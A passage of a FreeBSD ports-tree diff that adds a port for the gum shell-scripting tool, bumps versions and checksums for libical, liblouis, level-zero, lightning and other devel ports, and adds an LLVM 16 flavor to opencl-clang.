b/devel/got/files/patch-regress_tog_Makefile @@ -1,8 +1,8 @@ ---- regress/tog/Makefile.orig 2023-04-17 19:05:41 UTC +--- regress/tog/Makefile.orig 2023-04-20 13:59:00 UTC +++ regress/tog/Makefile -@@ -12,4 +12,6 @@ diff: - blame: - ./blame.sh -q -r "$(GOT_TEST_ROOT)" +@@ -15,4 +15,6 @@ blame: + tree: + ./tree.sh -q -r "$(GOT_TEST_ROOT)" -.include +regress: ${REGRESS_TARGETS} .PHONY .SILENT diff --git a/devel/gum/Makefile b/devel/gum/Makefile new file mode 100644 index 00000000000..d4547e8f2c4 --- /dev/null +++ b/devel/gum/Makefile @@ -0,0 +1,33 @@ +PORTNAME= gum +DISTVERSIONPREFIX= v +DISTVERSION= 0.10.0 +CATEGORIES= devel + +MAINTAINER= dave@bitboss.ca +COMMENT= Tool for glamorous shell scripts +WWW= https://github.com/charmbracelet/gum + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE + +USES= go:modules +GO_MODULE= github.com/charmbracelet/gum + +PLIST_FILES= bin/gum \ + etc/bash_completion.d/gum \ + man/man1/gum.1.gz \ + share/zsh/site-functions/_gum + +post-build: + ${MKDIR} ${WRKDIR}/manpages + ${WRKDIR}/bin/gum man > ${WRKDIR}/manpages/gum.1 + +do-install: + ${INSTALL_SCRIPT} ${WRKDIR}/bin/gum ${STAGEDIR}${PREFIX}/bin/ + ${INSTALL_MAN} ${WRKDIR}/manpages/gum.1 ${STAGEDIR}${PREFIX}/man/man1/ + ${MKDIR} ${STAGEDIR}${PREFIX}/etc/bash_completion.d + ${WRKDIR}/bin/gum completion bash > ${STAGEDIR}${PREFIX}/etc/bash_completion.d/gum + ${MKDIR} ${STAGEDIR}${PREFIX}/share/zsh/site-functions + ${WRKDIR}/bin/gum completion zsh > ${STAGEDIR}${PREFIX}/share/zsh/site-functions/_gum + +.include diff --git a/devel/gum/distinfo b/devel/gum/distinfo new file mode 100644 index 00000000000..9cccd6c8079 --- /dev/null +++ b/devel/gum/distinfo @@ -0,0 +1,5 @@ +TIMESTAMP = 1682549928 +SHA256 (go/devel_gum/gum-v0.10.0/v0.10.0.mod) = a825c87317e8915fad3add7ec3ec859e1df35df284151cffa288392dc72e739c +SIZE (go/devel_gum/gum-v0.10.0/v0.10.0.mod) = 1799 +SHA256 (go/devel_gum/gum-v0.10.0/v0.10.0.zip) = cfdcf0b13a60c11de110f4eb49b6e7acd94fb220e80514f116b2d2c491604089 +SIZE (go/devel_gum/gum-v0.10.0/v0.10.0.zip) = 84034 diff --git a/devel/gum/pkg-descr b/devel/gum/pkg-descr new file mode 100644 index 00000000000..2aebb3ef612 --- /dev/null +++ b/devel/gum/pkg-descr @@ -0,0 +1,4 @@ +Gum provides highly configurable, ready-to-use utilities to help you write +useful shell scripts and dotfiles aliases with just a few lines of code. Gum +is designed to be embedded in scripts and supports all sorts of use cases. +Components are configurable and customizable to fit your theme and use case. diff --git a/devel/leatherman/Makefile b/devel/leatherman/Makefile index 9a7b70559f3..ff5b8d2222e 100644 --- a/devel/leatherman/Makefile +++ b/devel/leatherman/Makefile @@ -15,16 +15,22 @@ LIB_DEPENDS= libboost_system.so:devel/boost-libs \ USES= compiler:c++11-lang cmake gettext ruby USE_GITHUB= yes GH_ACCOUNT= puppetlabs +USE_LDCONFIG= yes CMAKE_ON= LEATHERMAN_SHARED CMAKE_OFF= ENABLE_CXX_WERROR -USE_LDCONFIG= yes + TEST_TARGET= test +PLIST_SUB= PORTVERSION=${PORTVERSION} + +.include + post-configure: # This file is vendored in vendor/Catch-1.10.0.zip and extracted at configure step ${SED} -i '' -e '1s|\(.*\)|#include \n\1|' ${CONFIGURE_WRKSRC}/src/Catch-1.10.0/single_include/catch.hpp +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 + ${REINPLACE_CMD} -e 's|ptrdiff_t|size_t|' ${CONFIGURE_WRKSRC}/src/Catch-1.10.0/single_include/catch.hpp +.endif -PLIST_SUB= PORTVERSION=${PORTVERSION} - -.include +.include diff --git a/devel/level-zero/Makefile b/devel/level-zero/Makefile index 7917af0394d..c6f21731338 100644 --- a/devel/level-zero/Makefile +++ b/devel/level-zero/Makefile @@ -1,6 +1,6 @@ PORTNAME= level-zero DISTVERSIONPREFIX= v -DISTVERSION= 1.10.0 +DISTVERSION= 1.11.0 CATEGORIES= devel MAINTAINER= jbeich@FreeBSD.org diff --git a/devel/level-zero/distinfo b/devel/level-zero/distinfo index 74558072123..7e75f7d0204 100644 --- a/devel/level-zero/distinfo +++ b/devel/level-zero/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680875832 -SHA256 (oneapi-src-level-zero-v1.10.0_GH0.tar.gz) = 2811e4128ff6114020d0a147c2769b9b2e782e68ad49827685c33b9e716bf6ab -SIZE (oneapi-src-level-zero-v1.10.0_GH0.tar.gz) = 805696 +TIMESTAMP = 1682699591 +SHA256 (oneapi-src-level-zero-v1.11.0_GH0.tar.gz) = eee9805bdf0973aff5858a32a8c3ac98e0337b64648d96bb8adeaecc0bdda5bd +SIZE (oneapi-src-level-zero-v1.11.0_GH0.tar.gz) = 837654 diff --git a/devel/level-zero/pkg-plist b/devel/level-zero/pkg-plist index 570463d36d0..c5173096078 100644 --- a/devel/level-zero/pkg-plist +++ b/devel/level-zero/pkg-plist @@ -10,12 +10,12 @@ include/level_zero/zet_api.h include/level_zero/zet_ddi.h lib/libze_loader.so lib/libze_loader.so.1 -lib/libze_loader.so.1.10.0 +lib/libze_loader.so.1.11.0 lib/libze_tracing_layer.so lib/libze_tracing_layer.so.1 -lib/libze_tracing_layer.so.1.10.0 +lib/libze_tracing_layer.so.1.11.0 lib/libze_validation_layer.so lib/libze_validation_layer.so.1 -lib/libze_validation_layer.so.1.10.0 +lib/libze_validation_layer.so.1.11.0 libdata/pkgconfig/level-zero.pc libdata/pkgconfig/libze_loader.pc diff --git a/devel/lfcbase/Makefile b/devel/lfcbase/Makefile index 56fe218ce6c..7788b386f8b 100644 --- a/devel/lfcbase/Makefile +++ b/devel/lfcbase/Makefile @@ -1,5 +1,5 @@ PORTNAME= lfcbase -PORTVERSION= 1.18.3 +PORTVERSION= 1.18.5 CATEGORIES= devel MASTER_SITES= http://www.lemke-it.com/ diff --git a/devel/lfcbase/distinfo b/devel/lfcbase/distinfo index 61c203606cf..9312bbd43bb 100644 --- a/devel/lfcbase/distinfo +++ b/devel/lfcbase/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678185559 -SHA256 (lfcbase-1.18.3.tar.gz) = fe1faa86b4c3d7bddb0fd2baddb5c5fef9efa4dc0ead56fce8dacf1a7b3a3de2 -SIZE (lfcbase-1.18.3.tar.gz) = 686788 +TIMESTAMP = 1682708848 +SHA256 (lfcbase-1.18.5.tar.gz) = 08805bee1ae956f8ff3be71ae94c1486f025faceba156cb88d9dce511a43868d +SIZE (lfcbase-1.18.5.tar.gz) = 702158 diff --git a/devel/libical/Makefile b/devel/libical/Makefile index 2a591dd3aff..a38d5bec680 100644 --- a/devel/libical/Makefile +++ b/devel/libical/Makefile @@ -1,6 +1,6 @@ PORTNAME= libical -DISTVERSION= 3.0.8 -PORTREVISION= 9 +DISTVERSION= 3.0.16 +PORTREVISION= 0 CATEGORIES= devel MASTER_SITES= https://github.com/libical/libical/releases/download/v${PORTVERSION}/ diff --git a/devel/libical/distinfo b/devel/libical/distinfo index c42ef38e900..9111ad691e2 100644 --- a/devel/libical/distinfo +++ b/devel/libical/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1600018384 -SHA256 (libical-3.0.8.tar.gz) = 09fecacaf75ba5a242159e3a9758a5446b5ce4d0ab684f98a7040864e1d1286f -SIZE (libical-3.0.8.tar.gz) = 881462 +TIMESTAMP = 1679333121 +SHA256 (libical-3.0.16.tar.gz) = b44705dd71ca4538c86fb16248483ab4b48978524fb1da5097bd76aa2e0f0c33 +SIZE (libical-3.0.16.tar.gz) = 921245 diff --git a/devel/libical/files/patch-icu68 b/devel/libical/files/patch-icu68 deleted file mode 100644 index 8fc1516a74b..00000000000 --- a/devel/libical/files/patch-icu68 +++ /dev/null @@ -1,29 +0,0 @@ -Regressed by https://github.com/unicode-org/icu/commit/c3fe7e09d844 - -src/libical/icalrecur.c:1021:59: error: use of undeclared identifier 'FALSE' - en = ucal_getKeywordValuesForLocale("calendar", NULL, FALSE, &status); - ^ -src/libical/icalrecur.c:1414:63: error: use of undeclared identifier 'FALSE' - en = ucal_getKeywordValuesForLocale("calendar", NULL, FALSE, &status); - ^ - ---- src/libical/icalrecur.c.orig 2020-03-07 14:42:42 UTC -+++ src/libical/icalrecur.c -@@ -1018,7 +1018,7 @@ icalarray *icalrecurrencetype_rscale_supported_calenda - - calendars = icalarray_new(sizeof(const char **), 20); - -- en = ucal_getKeywordValuesForLocale("calendar", NULL, FALSE, &status); -+ en = ucal_getKeywordValuesForLocale("calendar", NULL, false, &status); - while ((cal = uenum_next(en, NULL, &status))) { - cal = icalmemory_tmp_copy(cal); - icalarray_append(calendars, &cal); -@@ -1411,7 +1411,7 @@ static int initialize_rscale(icalrecur_iterator *impl) - } - - /* Check if specified calendar is supported */ -- en = ucal_getKeywordValuesForLocale("calendar", NULL, FALSE, &status); -+ en = ucal_getKeywordValuesForLocale("calendar", NULL, false, &status); - while ((cal = uenum_next(en, NULL, &status))) { - if (!strcmp(cal, rule.rscale)) { - is_hebrew = !strcmp(rule.rscale, "hebrew"); diff --git a/devel/libical/files/patch-src__libical__icaltz-util.c b/devel/libical/files/patch-src__libical__icaltz-util.c new file mode 100644 index 00000000000..a4452c531f5 --- /dev/null +++ b/devel/libical/files/patch-src__libical__icaltz-util.c @@ -0,0 +1,13 @@ +--- src/libical/icaltz-util.c.orig 2022-10-17 20:53:57 UTC ++++ src/libical/icaltz-util.c +@@ -82,6 +82,10 @@ + #define bswap_64 __builtin_bswap64 + #endif + ++#if defined(__FreeBSD__) && !defined(bswap_64) ++#define bswap_64(x) __bswap64(x) ++#endif ++ + typedef struct + { + char magic[4]; diff --git a/devel/libical/pkg-plist b/devel/libical/pkg-plist index 9d63783b5e5..d819fd64dcb 100644 --- a/devel/libical/pkg-plist +++ b/devel/libical/pkg-plist @@ -83,11 +83,13 @@ include/libical/vcaltmp.h include/libical/vcc.h include/libical/vcomponent_cxx.h include/libical/vobject.h +%%GLIB%%lib/cmake/LibIcal/IcalGlibSrcGenerator-release.cmake +%%GLIB%%lib/cmake/LibIcal/IcalGlibSrcGenerator.cmake lib/cmake/LibIcal/LibIcalConfig.cmake lib/cmake/LibIcal/LibIcalConfigVersion.cmake lib/cmake/LibIcal/LibIcalTargets-%%CMAKE_BUILD_TYPE%%.cmake lib/cmake/LibIcal/LibIcalTargets.cmake -%%INTROSPECTION%%%%GLIB%%lib/girepository-1.0/ICal-3.0.typelib +%%INTROSPECTION%%lib/girepository-1.0/ICal-3.0.typelib %%INTROSPECTION%%%%GLIB%%lib/girepository-1.0/ICalGLib-3.0.typelib %%GLIB%%lib/libical-glib.a %%GLIB%%lib/libical-glib.so @@ -115,53 +117,54 @@ lib/libicalvcal.so.3 lib/libicalvcal.so.%%VERSION%% %%GLIB%%libdata/pkgconfig/libical-glib.pc libdata/pkgconfig/libical.pc -%%INTROSPECTION%%%%GLIB%%share/gir-1.0/ICal-3.0.gir +%%GLIB%%libexec/libical/ical-glib-src-generator +%%INTROSPECTION%%share/gir-1.0/ICal-3.0.gir %%INTROSPECTION%%%%GLIB%%share/gir-1.0/ICalGLib-3.0.gir -%%PORTDOCS%%%%DOCSDIR%%/ICalArray.html -%%PORTDOCS%%%%DOCSDIR%%/ICalAttach.html -%%PORTDOCS%%%%DOCSDIR%%/ICalCompIter.html -%%PORTDOCS%%%%DOCSDIR%%/ICalComponent.html -%%PORTDOCS%%%%DOCSDIR%%/ICalDatetimeperiod.html -%%PORTDOCS%%%%DOCSDIR%%/ICalDuration.html -%%PORTDOCS%%%%DOCSDIR%%/ICalGeo.html -%%PORTDOCS%%%%DOCSDIR%%/ICalObject.html -%%PORTDOCS%%%%DOCSDIR%%/ICalParameter.html -%%PORTDOCS%%%%DOCSDIR%%/ICalParser.html -%%PORTDOCS%%%%DOCSDIR%%/ICalPeriod.html -%%PORTDOCS%%%%DOCSDIR%%/ICalProperty.html -%%PORTDOCS%%%%DOCSDIR%%/ICalRecurIterator.html -%%PORTDOCS%%%%DOCSDIR%%/ICalRecurrence.html -%%PORTDOCS%%%%DOCSDIR%%/ICalReqstat.html -%%PORTDOCS%%%%DOCSDIR%%/ICalTime.html -%%PORTDOCS%%%%DOCSDIR%%/ICalTimeSpan.html -%%PORTDOCS%%%%DOCSDIR%%/ICalTimezone.html -%%PORTDOCS%%%%DOCSDIR%%/ICalTrigger.html -%%PORTDOCS%%%%DOCSDIR%%/ICalValue.html -%%PORTDOCS%%%%DOCSDIR%%/annotation-glossary.html -%%PORTDOCS%%%%DOCSDIR%%/api-index-1-0.html -%%PORTDOCS%%%%DOCSDIR%%/api-index-2-0.html -%%PORTDOCS%%%%DOCSDIR%%/api-index-3-0-5.html -%%PORTDOCS%%%%DOCSDIR%%/api-index-3-0.html -%%PORTDOCS%%%%DOCSDIR%%/api-index-full.html -%%PORTDOCS%%%%DOCSDIR%%/ch01.html -%%PORTDOCS%%%%DOCSDIR%%/home.png -%%PORTDOCS%%%%DOCSDIR%%/index.html -%%PORTDOCS%%%%DOCSDIR%%/left-insensitive.png -%%PORTDOCS%%%%DOCSDIR%%/left.png -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-derived-parameter.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-derived-property.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-derived-value.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-enums.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-error.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-memory.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-mime.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-recur.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-restriction.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib-i-cal-unknowntokenhandling.html -%%PORTDOCS%%%%DOCSDIR%%/libical-glib.devhelp2 -%%PORTDOCS%%%%DOCSDIR%%/right-insensitive.png -%%PORTDOCS%%%%DOCSDIR%%/right.png -%%PORTDOCS%%%%DOCSDIR%%/style.css -%%PORTDOCS%%%%DOCSDIR%%/up-insensitive.png -%%PORTDOCS%%%%DOCSDIR%%/up.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalArray.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalAttach.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalCompIter.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalComponent.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalDatetimeperiod.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalDuration.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalGeo.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalObject.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalParameter.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalParser.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalPeriod.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalProperty.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalRecurIterator.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalRecurrence.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalReqstat.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalTime.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalTimeSpan.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalTimezone.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalTrigger.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ICalValue.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/annotation-glossary.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/api-index-1-0.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/api-index-2-0.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/api-index-3-0-5.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/api-index-3-0.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/api-index-full.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/ch01.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/home.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/index.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/left-insensitive.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/left.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-derived-parameter.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-derived-property.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-derived-value.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-enums.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-error.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-memory.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-mime.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-recur.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-restriction.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib-i-cal-unknowntokenhandling.html +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/libical-glib.devhelp2 +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/right-insensitive.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/right.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/style.css +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/up-insensitive.png +%%PORTDOCS%%%%GLIB%%%%DOCSDIR%%/up.png %%VAPI%%%%GLIB%%share/vala/vapi/libical-glib.vapi diff --git a/devel/liblouis/Makefile b/devel/liblouis/Makefile index 38f3ab21bf1..38117dca247 100644 --- a/devel/liblouis/Makefile +++ b/devel/liblouis/Makefile @@ -1,5 +1,5 @@ PORTNAME= liblouis -PORTVERSION= 3.24.0 +PORTVERSION= 3.25.0 DISTVERSIONPREFIX= v CATEGORIES= devel diff --git a/devel/liblouis/distinfo b/devel/liblouis/distinfo index 2bfe5849649..add6b964ae9 100644 --- a/devel/liblouis/distinfo +++ b/devel/liblouis/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1676423919 -SHA256 (liblouis-liblouis-v3.24.0_GH0.tar.gz) = f67a75b5ea423c76a523f05ce6c0b08b28fd82ce4f11800a27d96141987c9676 -SIZE (liblouis-liblouis-v3.24.0_GH0.tar.gz) = 16149856 +TIMESTAMP = 1682678944 +SHA256 (liblouis-liblouis-v3.25.0_GH0.tar.gz) = ee455e6b962e6f28cd9f2bcf043b1a347ed6913d9e2855cf9d6b91e35724a660 +SIZE (liblouis-liblouis-v3.25.0_GH0.tar.gz) = 16165059 diff --git a/devel/liblouis/pkg-plist b/devel/liblouis/pkg-plist index ee7d64ce418..ecab191e651 100644 --- a/devel/liblouis/pkg-plist +++ b/devel/liblouis/pkg-plist @@ -390,6 +390,7 @@ %%DATADIR%%/tables/uz-g1.utb %%DATADIR%%/tables/ve-za-g1.utb %%DATADIR%%/tables/ve-za-g2.ctb +%%DATADIR%%/tables/vi-cb8.utb %%DATADIR%%/tables/vi-charsdef.uti %%DATADIR%%/tables/vi-lettersdef.uti %%DATADIR%%/tables/vi-puncsdef.uti @@ -397,7 +398,6 @@ %%DATADIR%%/tables/vi-vn-g0.utb %%DATADIR%%/tables/vi-vn-g1.ctb %%DATADIR%%/tables/vi-vn-g2.ctb -%%DATADIR%%/tables/vi.ctb %%DATADIR%%/tables/wiskunde-chardefs.cti %%DATADIR%%/tables/wordcx.dis %%DATADIR%%/tables/xh-za-g1.utb @@ -436,7 +436,7 @@ libdata/pkgconfig/liblouis.pc lib/liblouis.a lib/liblouis.so lib/liblouis.so.20 -lib/liblouis.so.20.0.12 +lib/liblouis.so.20.0.13 man/man1/lou_allround.1.gz man/man1/lou_checkhyphens.1.gz man/man1/lou_checktable.1.gz diff --git a/devel/libtecla/Makefile b/devel/libtecla/Makefile index 4b3d87a9efb..b4e39cb0677 100644 --- a/devel/libtecla/Makefile +++ b/devel/libtecla/Makefile @@ -9,14 +9,24 @@ WWW= https://www.astro.caltech.edu/~mcs/tecla/ LICENSE= MIT -WRKSRC= ${WRKDIR}/${PORTNAME} -GNU_CONFIGURE= yes -USE_SUBMAKE= yes -ALL_TARGET= default USE_LDCONFIG= yes +USE_SUBMAKE= yes + +GNU_CONFIGURE= yes + MAKE_JOBS_UNSAFE= yes -SSP_UNSAFE= yes +ALL_TARGET= default + LLD_UNSAFE= yes +SSP_UNSAFE= yes + +WRKSRC= ${WRKDIR}/${PORTNAME} + +.include + +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion +.endif post-patch: @${REINPLACE_CMD} -e 's,^OPT = -O,OPT =,' \ @@ -47,4 +57,4 @@ do-install: ${INSTALL_MAN} $${n%.in} ${STAGEDIR}${PREFIX}/man/man7/$${d%.in}.7; \ done -.include +.include diff --git a/devel/libtecla/files/patch-demo3.c b/devel/libtecla/files/patch-demo3.c index f569deb50d0..343b70af761 100644 --- a/devel/libtecla/files/patch-demo3.c +++ b/devel/libtecla/files/patch-demo3.c @@ -1,5 +1,5 @@ ---- demo3.c.orig Sat Aug 12 19:31:16 2006 -+++ demo3.c Sat Aug 12 19:31:29 2006 +--- demo3.c.orig 2012-06-12 02:35:49 UTC ++++ demo3.c @@ -37,17 +37,17 @@ #include #include diff --git a/devel/libtecla/files/patch-getline.c b/devel/libtecla/files/patch-getline.c index bb05e2e739e..ce184e392ef 100644 --- a/devel/libtecla/files/patch-getline.c +++ b/devel/libtecla/files/patch-getline.c @@ -1,6 +1,6 @@ ---- getline.c.orig Sun Jul 18 13:44:44 2004 -+++ getline.c Sun Jul 18 13:44:49 2004 -@@ -9045,8 +9045,8 @@ +--- getline.c.orig 2013-09-12 07:04:00 UTC ++++ getline.c +@@ -9062,8 +9062,8 @@ static int gl_event_handler(GetLine *gl, int fd) return 1; }; return 0; diff --git a/devel/lightning/Makefile b/devel/lightning/Makefile index f0702a439bf..7dcc2dd1da1 100644 --- a/devel/lightning/Makefile +++ b/devel/lightning/Makefile @@ -1,5 +1,5 @@ PORTNAME= lightning -PORTVERSION= 2.2.1 +PORTVERSION= 2.2.2 CATEGORIES= devel MASTER_SITES= GNU diff --git a/devel/lightning/distinfo b/devel/lightning/distinfo index 36ffaaaf297..17467110f12 100644 --- a/devel/lightning/distinfo +++ b/devel/lightning/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678478575 -SHA256 (lightning-2.2.1.tar.gz) = 98671681d5684770ccb06a07fa3b8f032a454bdb56eafc18e6fab04459ea3caa -SIZE (lightning-2.2.1.tar.gz) = 1409962 +TIMESTAMP = 1682786527 +SHA256 (lightning-2.2.2.tar.gz) = 0aca8242dead17d62117bcfcb078e6a9ea856cc81742813c9e8394bcce73b3e2 +SIZE (lightning-2.2.2.tar.gz) = 1745669 diff --git a/devel/lightning/pkg-plist b/devel/lightning/pkg-plist index 3071b607318..7226bc108aa 100644 --- a/devel/lightning/pkg-plist +++ b/devel/lightning/pkg-plist @@ -3,5 +3,5 @@ include/lightning/jit_%%JIT_ARCH%%.h lib/liblightning.a lib/liblightning.so lib/liblightning.so.2 -lib/liblightning.so.2.0.0 +lib/liblightning.so.2.0.1 libdata/pkgconfig/lightning.pc diff --git a/devel/opencl-clang/Makefile b/devel/opencl-clang/Makefile index 8433370f790..e6211548ce8 100644 --- a/devel/opencl-clang/Makefile +++ b/devel/opencl-clang/Makefile @@ -1,6 +1,7 @@ PORTNAME= opencl-clang DISTVERSIONPREFIX= v DISTVERSION= ${DISTVERSION_${FLAVOR}} +DISTVERSION_llvm16= 16.0.0 DISTVERSION_llvm15= 15.0.0 DISTVERSION_llvm14= 14.0.0 DISTVERSION_llvm13= 13.0.0 @@ -9,6 +10,14 @@ DISTVERSION_llvm11= 11.0.0 CATEGORIES= devel PKGNAMESUFFIX= -${FLAVOR} +PATCH_SITES= https://github.com/${GH_ACCOUNT}/${GH_PROJECT}/commit/ +.if !defined(FLAVOR) || ${FLAVOR} == llvm16 +PATCHFILES+= 529a9188114b.patch:-p1 # https://github.com/intel/opencl-clang/pull/415 +PATCHFILES+= 9f50367661bb.patch:-p1 # https://github.com/intel/opencl-clang/pull/419 +PATCHFILES+= 5491ffa3fde5.patch:-p1 # https://github.com/intel/opencl-clang/pull/416 +PATCHFILES+= cb864cde32c2.patch:-p1 # https://github.com/intel/opencl-clang/issues/422 +.endif + MAINTAINER= jbeich@FreeBSD.org COMMENT= Clang wrapper to compile OpenCL C kernels to SPIR-V modules WWW= https://github.com/intel/opencl-clang @@ -19,7 +28,7 @@ LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libLLVM-${FLAVOR:S/llvm//}.so:devel/${FLAVOR} \ libLLVMSPIRVLib.so.${FLAVOR:S/llvm//}:devel/spirv-llvm-translator@${FLAVOR} -FLAVORS= ${15 14 13 12 11:L:S/^/llvm/} +FLAVORS= ${16 15 14 13 12 11:L:S/^/llvm/} USES= cmake compiler:c++11-lib USE_GITHUB= yes @@ -29,8 +38,15 @@ DISTINFO_FILE= ${.CURDIR}/distinfo.${FLAVOR} CMAKE_ARGS= -DCMAKE_PREFIX_PATH:PATH="${LOCALBASE}/${FLAVOR}" \ -DPREFERRED_LLVM_VERSION:STRING="${FLAVOR:S/llvm//}" CMAKE_INSTALL_PREFIX= ${PREFIX}/${FLAVOR} -_PLIST_FILES= include/cclang/common_clang.h \ - lib/libopencl-clang.so \ +.if defined(FLAVOR) && ${FLAVOR:S/llvm//} < 16 +_PLIST_FILES= include/cclang/common_clang.h +.else +_PLIST_FILES= include/cclang/module.modulemap \ + include/cclang/opencl-c-base.h \ + include/cclang/opencl-c.h \ + include/cclang/opencl_clang.h +.endif +_PLIST_FILES+= lib/libopencl-clang.so \ lib/libopencl-clang.so.${DISTVERSION:R:R} PLIST_FILES= ${_PLIST_FILES:S,^,${FLAVOR}/,} diff --git a/devel/opencl-clang/distinfo.llvm16 b/devel/opencl-clang/distinfo.llvm16 new file mode 100644 index 00000000000..803d27b5c40 --- /dev/null +++ b/devel/opencl-clang/distinfo.llvm16 @@ -0,0 +1,11 @@ +TIMESTAMP = 1681348139 +SHA256 (intel-opencl-clang-v16.0.0_GH0.tar.gz) = 0a1b098cb56dc3af1dbeea6dce3124314238dfe50e30e25161ccd5a9067e7ff5 +SIZE (intel-opencl-clang-v16.0.0_GH0.tar.gz) = 28413 +SHA256 (529a9188114b.patch) = 543ea89c0f74b3a71097327e62004670837545868741cc27c2cf730261ea1e7c +SIZE (529a9188114b.patch) = 967 +SHA256 (9f50367661bb.patch) = fba4ede3454544b670028ab739529b5369686a66bd77876190d406aa9ab97d73 +SIZE (9f50367661bb.patch) = 1665 +SHA256 (5491ffa3fde5.patch) = 06aa137e05f38c642d736ab0fc1ff9b54d57bba8b8248e1cc52a94190c7173f2 +SIZE (5491ffa3fde5.patch) = 727 +SHA256 (cb864cde32c2.patch) = 9d11d43fe55a17eb757976f3f580ff632784f4f8768baecb6aeb4e0d78e2c586 +SIZE (cb864cde32c2.patch) = 3389 diff --git a/devel/p5-File-Find-Rule-VCS/Makefile b/devel/p5-File-Find-Rule-VCS/Makefile index a540d6d70f7..47fd788245c 100644 --- a/devel/p5-File-Find-Rule-VCS/Makefile +++ b/devel/p5-File-Find-Rule-VCS/Makefile @@ -1,6 +1,5 @@ PORTNAME= File-Find-Rule-VCS -PORTVERSION= 1.08 -PORTREVISION= 1 +PORTVERSION= 1.09 CATEGORIES= devel perl5 MASTER_SITES= CPAN PKGNAMEPREFIX= p5- @@ -19,4 +18,6 @@ RUN_DEPENDS= p5-File-Find-Rule>=0.20:devel/p5-File-Find-Rule \ USES= perl5 USE_PERL5= configure +NO_ARCH= yes + .include diff --git a/devel/p5-File-Find-Rule-VCS/distinfo b/devel/p5-File-Find-Rule-VCS/distinfo index e1df4fb8cdb..16715a02943 100644 --- a/devel/p5-File-Find-Rule-VCS/distinfo +++ b/devel/p5-File-Find-Rule-VCS/distinfo @@ -1,2 +1,3 @@ -SHA256 (File-Find-Rule-VCS-1.08.tar.gz) = 15a857b9869f474314e1497aa8ef3a8563bf83275f98121dad57aabae11acb9a -SIZE (File-Find-Rule-VCS-1.08.tar.gz) = 30225 +TIMESTAMP = 1682786984 +SHA256 (File-Find-Rule-VCS-1.09.tar.gz) = 43c798bff0a1f6ac196cfa0f28eddac768954df2d02a04d01974a8fafeafbb49 +SIZE (File-Find-Rule-VCS-1.09.tar.gz) = 26246 diff --git a/devel/p5-Project-Gantt/Makefile b/devel/p5-Project-Gantt/Makefile index faa48e6ce3e..3b85e541d56 100644 --- a/devel/p5-Project-Gantt/Makefile +++ 